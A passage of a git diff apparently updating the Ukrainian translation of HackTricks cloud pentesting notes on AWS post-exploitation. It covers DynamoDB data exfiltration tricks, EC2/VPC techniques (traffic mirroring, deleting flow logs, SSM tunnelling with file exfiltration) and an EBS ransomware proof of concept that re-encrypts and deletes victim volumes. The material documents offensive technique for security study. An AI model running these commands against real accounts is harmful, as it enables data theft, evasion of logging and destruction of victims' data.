нового replica Region до DynamoDB Global Table (version 2019.11.21). Якщо principal може додати regional replica, вся таблиця буде реплікована до attacker-chosen Region, звідки attacker може прочитати всі елементи. +Прихована ексфільтрація шляхом додавання нової регіональної репліки до DynamoDB Global Table (version 2019.11.21). Якщо principal може додати регіональну репліку, уся таблиця реплікується в регіон, обраний атакуючим, звідки атакуючий може прочитати всі елементи. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Права доступу: `dynamodb:UpdateTable` (з `replica-updates`) або `dynamodb:CreateTableReplica` для цільової таблиці. Якщо CMK використовується в репліці, можуть знадобитися дозволи KMS для цього ключа. +Дозволи: `dynamodb:UpdateTable` (з `replica-updates`) або `dynamodb:CreateTableReplica` для цільової таблиці. Якщо в репліці використовується CMK, можуть знадобитися дозволи KMS для цього ключа. -Потенційний вплив: Повномасштабна реплікація таблиці в Region, контрольований атакуючим, що призводить до stealthy data exfiltration. +Потенційний вплив: Повне реплікування таблиці в регіон, контрольований зловмисником, що призводить до прихованого виведення даних. -### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (читання через невдалу умову + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Зловмисник із правами transactional write може вивести повні атрибути наявного елемента, виконавши `Update` всередині `TransactWriteItems`, який навмисно провалює `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. У разі відмови DynamoDB включає попередні атрибути в причини скасування транзакції, фактично перетворюючи доступ тільки для запису на доступ для читання по цільових ключах. +Зловмисник із привілеями транзакційного запису може вивести повні атрибути існуючого елемента, виконавши `Update` всередині `TransactWriteItems`, який навмисно призводить до невдачі `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. При невдачі DynamoDB включає попередні атрибути в причини скасування транзакції, фактично перетворюючи доступ лише для запису на доступ для читання цільових ключів. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -411,19 +411,19 @@ print(e.response['CancellationReasons'][0]['Item']) Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required. -Potential Impact: Читання довільних елементів (за primary key) з таблиці, використовуючи лише транзакційні привілеї запису через повернуті причини скасування. +Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI -Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановіть цей атрибут у постійне значення для всіх елементів, а потім виконайте `Query` по індексу, щоб отримати повні елементи. Це працює навіть якщо `Query`/`Scan` на базовій таблиці заборонено, за умови що ви можете виконати запит до ARN індексу. +Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановіть цей атрибут у константне значення для всіх items, а потім `Query` індекс, щоб отримати повні items. Це працює навіть якщо `Query`/`Scan` на базовій таблиці заборонено, за умови, що ви можете виконати запит до ARN індексу. -- Мінімальні права: -- `dynamodb:UpdateTable` на цільовій таблиці (щоб створити GSI з `ProjectionType=ALL`). -- `dynamodb:UpdateItem` на ключах цільової таблиці (щоб встановити індексований атрибут для кожного елемента). -- `dynamodb:Query` для ARN ресурсу індексу (`arn:aws:dynamodb:::table//index/`). +- Minimum permissions: +- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`). +- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item). +- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). -Кроки (PoC у us-east-1): +Steps (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Potential Impact:** Full table exfiltration шляхом запиту новоствореного GSI, який проєктує всі атрибути, навіть коли base table read APIs заборонено. +**Можливий вплив:** Повне виведення таблиці шляхом запиту новоствореного GSI, який проєктує всі атрибути, навіть коли базові API для читання таблиці заборонені. -### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Безперервне виведення даних через Kinesis Data Streams) -Зловживання DynamoDB Kinesis streaming destinations для постійної exfiltration змін із таблиці в attacker-controlled Kinesis Data Stream. Після увімкнення кожна подія INSERT/MODIFY/REMOVE пересилається майже в реальному часі до потоку без потреби у правах читання на таблицю. +Зловживання DynamoDB Kinesis streaming destinations для безперервного виведення змін з таблиці в Kinesis Data Stream, контрольований атакуючим. Після увімкнення кожна подія INSERT/MODIFY/REMOVE пересилається майже в реальному часі до стріму без потреби в дозволах на читання таблиці. -Мінімальні дозволи (attacker): +Мінімальні дозволи (атакуючий): - `dynamodb:EnableKinesisStreamingDestination` на цільовій таблиці -- Опційно `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` щоб відстежувати статус -- Права читання на attacker-owned Kinesis stream для споживання записів: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` +- За бажанням `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` для моніторингу статусу +- Дозволи на читання на Kinesis стрімі, яким володіє атакуючий, для отримання записів: `kinesis:*`
PoC (us-east-1) @@ -530,8 +530,6 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
-**Потенційний вплив:** Безперервне, майже в режимі реального часу exfiltration змін таблиці до Kinesis stream, контрольованого атакуючим, без прямих операцій читання таблиці. +**Потенційний вплив:** Постійна, майже в режимі реального часу exfiltration змін таблиці у потік Kinesis під контролем атакувальника без прямих операцій читання таблиці. - - -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 1ae1080f9..2a6e82301 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,26 +4,26 @@ ## EC2 & VPC -Для отримання додаткової інформації перегляньте: +Для додаткової інформації див.: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Зловмисне дзеркало VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -Дзеркалювання трафіку VPC **дублює вхідний та вихідний трафік для EC2 інстансів у VPC** без необхідності встановлювати щось на самих інстансах. Цей дубльований трафік зазвичай надсилається на щось на кшталт системи виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.\ -Зловмисник може зловживати цим, щоб захопити весь трафік і отримати чутливу інформацію з нього: +VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** без потреби встановлювати щось на самих інстансах. Цей дубльований трафік зазвичай надсилається, наприклад, в систему виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.\ +Атакувальник може зловживати цим, щоб перехопити весь трафік і отримати з нього конфіденційну інформацію: -Для отримання додаткової інформації перегляньте цю сторінку: +Для додаткової інформації див. цю сторінку: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Копіювати працюючий інстанс +### Copy Running Instance -Інстанси зазвичай містять якийсь чутливий інформацію. Є різні способи потрапити всередину (перегляньте [трюки підвищення привілеїв EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Однак інший спосіб перевірити, що він містить, - це **створити AMI та запустити новий інстанс (навіть у вашому власному обліковому записі) з нього**: +Інстанси зазвичай містять певну чутливу інформацію. Існують різні способи потрапити всередину (див. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що в ньому міститься — **створити AMI і запустити з нього новий інстанс (навіть у власному акаунті)**: ```shell # List instances aws ec2 describe-images @@ -49,43 +49,107 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Снімки є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\ -Якщо ви знайдете **том без снімка**, ви можете: **Створити снімок** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі: +**Snapshots are backups of volumes**, які зазвичай містять **чутливу інформацію**, тому перевірка їх повинна виявити ці дані.\ +Якщо ви знайдете **volume without a snapshot**, ви можете: **Create a snapshot** та виконати наступні дії або просто **mount it in an instance** в межах облікового запису: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} +### Covert Disk Exfiltration via AMI Store-to-S3 + +Експортуйте EC2 AMI безпосередньо в S3 за допомогою `CreateStoreImageTask`, щоб отримати raw disk image без шарингу snapshot. Це дозволяє провести повну офлайн-форензіку або крадіжку даних, залишивши мережеві налаштування instance недоторканими. + +{{#ref}} +aws-ami-store-s3-exfiltration.md +{{#endref}} + +### Live Data Theft via EBS Multi-Attach + +Attachіть io1/io2 Multi-Attach volume до другого instance і змонтуйте його в режимі read-only, щоб викачати live дані без використання snapshots. Корисно, коли victim volume вже має Multi-Attach, увімкнений в тій самій AZ. + +{{#ref}} +aws-ebs-multi-attach-data-theft.md +{{#endref}} + +### EC2 Instance Connect Endpoint Backdoor + +Створіть EC2 Instance Connect Endpoint, авторизуйте ingress та інжектуйте ephemeral SSH keys для доступу до приватних instances через керований тунель. Надає швидкі шляхи латерального переміщення без відкриття public портів. + +{{#ref}} +aws-ec2-instance-connect-endpoint-backdoor.md +{{#endref}} + +### EC2 ENI Secondary Private IP Hijack + +Перенесіть secondary private IP victim ENI на attacker-controlled ENI, щоб видаватися trusted hosts, allowlisted за IP. Дозволяє обходити внутрішні ACLs або SG правила, прив'язані до конкретних адрес. + +{{#ref}} +aws-eni-secondary-ip-hijack.md +{{#endref}} + +### Elastic IP Hijack for Ingress/Egress Impersonation + +Reassociateйте Elastic IP з victim instance на attacker, щоб перехоплювати inbound трафік або ініціювати outbound з'єднання, які виглядають як такі, що походять від trusted public IPs. + +{{#ref}} +aws-eip-hijack-impersonation.md +{{#endref}} + +### Security Group Backdoor via Managed Prefix Lists + +Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs до списку тихо розширює доступ по всіх залежних SG правилах без зміни самого SG. + +{{#ref}} +aws-managed-prefix-list-backdoor.md +{{#endref}} + +### VPC Endpoint Egress Bypass + +Створіть gateway або interface VPC endpoints, щоб відновити outbound доступ з ізольованих підмереж. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для ексфільтрації даних. + +{{#ref}} +aws-vpc-endpoint-egress-bypass.md +{{#endref}} + +### VPC Flow Logs Cross-Account Exfiltration + +Налаштуйте VPC Flow Logs на attacker-controlled S3 bucket, щоб постійно збирати мережеві метадані (source/destination, ports) поза межами victim account для довгострокової розвідки. + +{{#ref}} +aws-vpc-flow-logs-cross-account-exfiltration.md +{{#endref}} + ### Data Exfiltration #### DNS Exfiltration -Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **експортувати через DNS**. +Навіть якщо ви закриєте EC2 так, що трафік не виходить, він все одно може **exfil via DNS**. -- **VPC Flow Logs не зафіксують це**. -- У вас немає доступу до журналів DNS AWS. -- Вимкніть це, встановивши "enableDnsSupport" на false за допомогою: +- **VPC Flow Logs will not record this**. +- Ви не маєте доступу до AWS DNS logs. +- Вимкніть це, встановивши "enableDnsSupport" в false за допомогою: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Зловмисник може викликати API кінцеві точки облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і зловмисник зможе побачити експортовані дані в журналах Cloudtrail. +Атакувальник може викликати API endpoints облікового запису, який він контролює. Cloudtrail зафіксує ці виклики, і attacker зможе побачити ексфільтровані дані в Cloudtrail logs. ### Open Security Group -Ви можете отримати подальший доступ до мережевих служб, відкривши порти таким чином: +Ви можете отримати додатковий доступ до мережевих сервісів, відкривши порти таким чином: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Можливо запустити EC2 екземпляр і зареєструвати його для використання для запуску ECS екземплярів, а потім вкрасти дані ECS екземплярів. +Можна запустити EC2 instance і зареєструвати його для запуску ECS instances, а потім викрасти їхні дані. -Для [**додаткової інформації перегляньте це**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +Для [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Remove VPC flow logs +### Видалити VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -95,57 +159,58 @@ aws ec2 delete-flow-logs --flow-log-ids --region - `ssm:StartSession` -На додаток до виконання команд, SSM дозволяє тунелювання трафіку, яке можна зловживати для переходу з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно, - це перехід з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластера. +Окрім виконання команд, SSM дозволяє тунелювання трафіку, що може бути зловживано для pivot з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. +Один зі сценаріїв, де це корисно — pivoting з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластеру. -> Щоб розпочати сесію, вам потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Щоб розпочати сесію, потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Встановіть SessionManagerPlugin на вашому комп'ютері -2. Увійдіть до Bastion EC2, використовуючи наступну команду: +2. Увійдіть на Bastion EC2 за допомогою наступної команди: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Перенесіть облікові дані на свій комп'ютер у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]` +3. Отримайте тимчасові облікові дані AWS для Bastion EC2 за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Перенесіть облікові дані на вашу машину у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]` 5. Увійдіть в EKS як Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб вказати на `https://localhost` -7. Створіть тунель SSM наступним чином: +6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб вказувати на `https://localhost` +7. Створіть тунель SSM таким чином: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашого власного комп'ютера, запустивши: +8. Трафік з інструмента `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного кластера EKS з вашої машини, запустивши: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s інструментах аудиту). Оскільки трафік тунелюється через безпечний AWS SSM тунель, ви захищені від будь-яких атак типу MitM. +Зауважте, що SSL-з’єднання не вдасться встановити, якщо ви не вкажете прапорець `--insecure-skip-tls-verify ` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM tunnel, ви захищені від будь-яких MitM-атак. -Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або користувацького додатку. +Нарешті, ця техніка не обмежується атаками на приватні EKS кластери. Ви можете вказувати довільні домени та порти, щоб pivot до будь-якої іншої AWS-служби або власного застосунку. --- -#### Швидке локальне ↔️ віддалене перенаправлення порту (AWS-StartPortForwardingSession) +#### Швидке локальне ↔️ віддалене переадресування портів (AWS-StartPortForwardingSession) -Якщо вам потрібно лише перенаправити **один TCP порт з EC2 екземпляра на ваш локальний хост**, ви можете використовувати документ SSM `AWS-StartPortForwardingSession` (параметр віддаленого хоста не потрібен): +Якщо вам потрібно перенаправити **лише один TCP порт з EC2 instance на ваш локальний хост**, ви можете використати документ SSM `AWS-StartPortForwardingSession` (параметр remote host не потрібен): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Команда встановлює двосторонній тунель між вашою робочою станцією (`localPortNumber`) та вибраним портом (`portNumber`) на екземплярі **без відкриття будь-яких вхідних правил безпеки Security-Group**. +The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **без відкриття будь-яких вхідних правил Security-Group**. -Звичайні випадки використання: +Common use cases: -* **Екстракція файлів** -1. На екземплярі запустіть швидкий HTTP сервер, який вказує на каталог, який ви хочете екстрактувати: +* **File exfiltration** +1. На instance запустіть простий HTTP-сервер, що вказує на директорію, яку ви хочете exfiltrate: ```bash python3 -m http.server 8000 ``` -2. З вашої робочої станції отримайте файли через SSM тунель: +2. З вашої робочої станції завантажте файли через SSM tunnel: ```bash curl http://localhost:8000/loot.txt -o loot.txt @@ -159,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Порада: Стисніть і зашифруйте докази перед їх ексфільтрацією, щоб CloudTrail не реєстрував вміст у відкритому тексті: +Порада: Стисніть і зашифруйте докази перед exfiltrating it, щоб CloudTrail не реєстрував clear-text content: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### Поділитися AMI +### Надати доступ до AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Пошук чутливої інформації в публічних та приватних AMI +### Пошук конфіденційної інформації в публічних та приватних AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах машин Amazon (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — інструмент, призначений для **пошуку конфіденційної інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску інстансів із цільових AMIs, монтування їхніх томів і сканування на предмет потенційних секретів або чутливих даних. -### Поділитися знімком EBS +### Поділ EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках про пост-експлуатацію S3. KMS слід перейменувати на RMS для Ransomware Management Service, враховуючи, як легко його використовувати для шифрування різних сервісів AWS. +Доказ концепції, подібний до демонстрації Ransomware, показаної в S3 post-exploitation notes. KMS слід перейменувати на RMS (Ransomware Management Service) через те, наскільки легко ним користуватися для шифрування різних сервісів AWS. -Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption' +Спочатку, з 'attacker' AWS-акаунта, створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа для нас, але в реалістичному сценарії malicious actor зберігав би дані ключа поза контролем AWS. Змініть key policy, щоб дозволити будь-якому AWS account Principal використовувати цей ключ. У цій key policy ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -272,7 +337,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Правило політики ключа потребує активації наступних дозволів, щоб мати можливість використовувати його для шифрування обсягу EBS: +Правило політики ключа має містити наступні дозволи, щоб дозволити його використання для шифрування EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -280,21 +345,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущені деякі EC2 екземпляри з прикріпленими незашифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою ціллю для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями. +Тепер, маючи публічно доступний ключ для використання. Ми можемо використати 'victim' акаунт, у якому запущено декілька EC2 instances з підключеними незашифрованими EBS volumes. Саме EBS volumes цього 'victim' акаунта є нашою ціллю для шифрування; ця атака здійснюється за умови компрометації AWS акаунта з високими привілеями. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Подібно до прикладу з програмою-вимагачем S3. Ця атака створить копії прикріплених обсягів EBS за допомогою знімків, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Подібно до прикладу з S3 ransomware. Ця атака створить копії підключених EBS volumes за допомогою snapshots, використає публічно доступний ключ з 'attacker' акаунта для шифрування нових EBS volumes, потім від'єднає оригінальні EBS volumes від EC2 instances і видалить їх, а наостанок видалить snapshots, використані для створення нових зашифрованих EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -В результаті в обліковому записі залишаться лише зашифровані обсяги EBS. +В результаті в обліковому записі залишаться лише зашифровані EBS volumes. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Також варто зазначити, що скрипт зупинив EC2 екземпляри, щоб від'єднати та видалити оригінальні обсяги EBS. Оригінальні незашифровані обсяги тепер зникли. +Також варто зазначити, що скрипт зупинив EC2 instances, щоб від'єднати й видалити оригінальні EBS volumes. Оригінальні незашифровані EBS volumes тепер відсутні. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Далі, поверніться до політики ключа в обліковому записі 'зловмисника' і видаліть правило політики 'Зовнішнє шифрування' з політики ключа. +Далі поверніться до політики ключа в 'attacker' акаунті та видаліть правило політики 'Outside Encryption'. ```json { "Version": "2012-10-17", @@ -365,15 +430,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Зачекайте момент, поки нова політика ключа не пошириться. Потім поверніться до облікового запису 'жертви' і спробуйте приєднати один з нових зашифрованих EBS-томів. Ви виявите, що можете приєднати том. +Зачекайте трохи, щоб нова політика ключа поширилася. Потім поверніться до облікового запису 'victim' і спробуйте прикріпити один із щойно зашифрованих EBS томів. Ви побачите, що том можна прикріпити. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Але коли ви намагаєтеся фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто не вдасться і знову перейде з стану 'очікування' в стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє цього. +Але коли ви намагаєтесь дійсно запустити EC2 інстанс із зашифрованим EBS томом, він просто збоїть і змінить стан із 'pending' назад на 'stopped' назавжди, оскільки прикріплений EBS том неможливо розшифрувати за допомогою ключа, бо політика ключа більше цього не дозволяє. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC програм-вимагачів. +Це python-скрипт, який було використано. Він приймає AWS облікові дані для облікового запису 'victim' та загальнодоступне значення AWS ARN для ключа, що буде використано для шифрування. Скрипт створить зашифровані копії УСІХ доступних EBS томів, прикріплених до УСІХ EC2 інстансів у цільовому AWS обліковому записі, потім зупинить кожен EC2 інстанс, від'єднає оригінальні EBS томи, видалить їх і, врешті-решт, видалить усі snapshots, використані під час процесу. У цільовому обліковому записі 'victim' залишаться лише зашифровані EBS томи. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх, використавши застосований KMS key і відновити до початкового стану через snapshots, проте хочу попередити, що в кінцевому підсумку це ransomware PoC. ``` import boto3 import argparse @@ -492,6 +557,6 @@ main() ``` ## Посилання -- [Pentest Partners – Як передавати файли в AWS за допомогою SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md new file mode 100644 index 000000000..aa3a22f65 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md @@ -0,0 +1,137 @@ +# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Підсумок +Зловживання EC2 AMI export-to-S3 для ексфільтрації повного диска інстансу EC2 як одного raw-образу, збереженого в S3, з подальшим завантаженням поза каналом. Це уникає обміну снапшотами та створює один об'єкт на AMI. + +## Вимоги +- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` для цільового інстансу/AMI +- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation` +- KMS decrypt на ключі, який захищає AMI snapshots (якщо 